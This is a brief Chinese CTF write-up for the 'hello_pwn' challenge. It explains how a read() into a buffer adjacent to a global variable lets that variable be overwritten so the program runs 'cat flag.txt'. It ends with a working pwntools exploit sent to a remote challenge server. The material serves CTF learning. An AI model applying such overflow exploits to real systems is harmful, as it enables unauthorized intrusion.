0%

hello_pwn

题目描述:pwn!,segment fault!菜鸡陷入了深思

0x01

checksec

image-20200629150041551

IDA

image-20200629150122682

正常连接一遍

image-20200629152653322

0x02

分析程序伪代码,sub_400686函数执行了cat flag.txt的命令,意图就是让dword_601066C等于1853186401就可以得到flag了,程序并没有让我们输入dword_60106c值的地方,我们需要覆盖dword_60106c的值

image-20200629151153758

unk_691968,它和dword_60106c的偏移量为4(0x60106C-0x601068=4)

image-20200629151640204

read中unk_691968参数输入(0x10等于16个字节,覆盖只需要4个)覆盖到dword_60106c让他的值为1853186401

0x03

构造exp

1
2
3
4
5
6
7
from pwn import *

p = remote('220.249.52.133',32320)
payload = 'a'*4+p64(1853186401)
p.recvuntil('lets get helloworld for bof')
p.sendline(payload)
p.interactive()

image-20200629152756355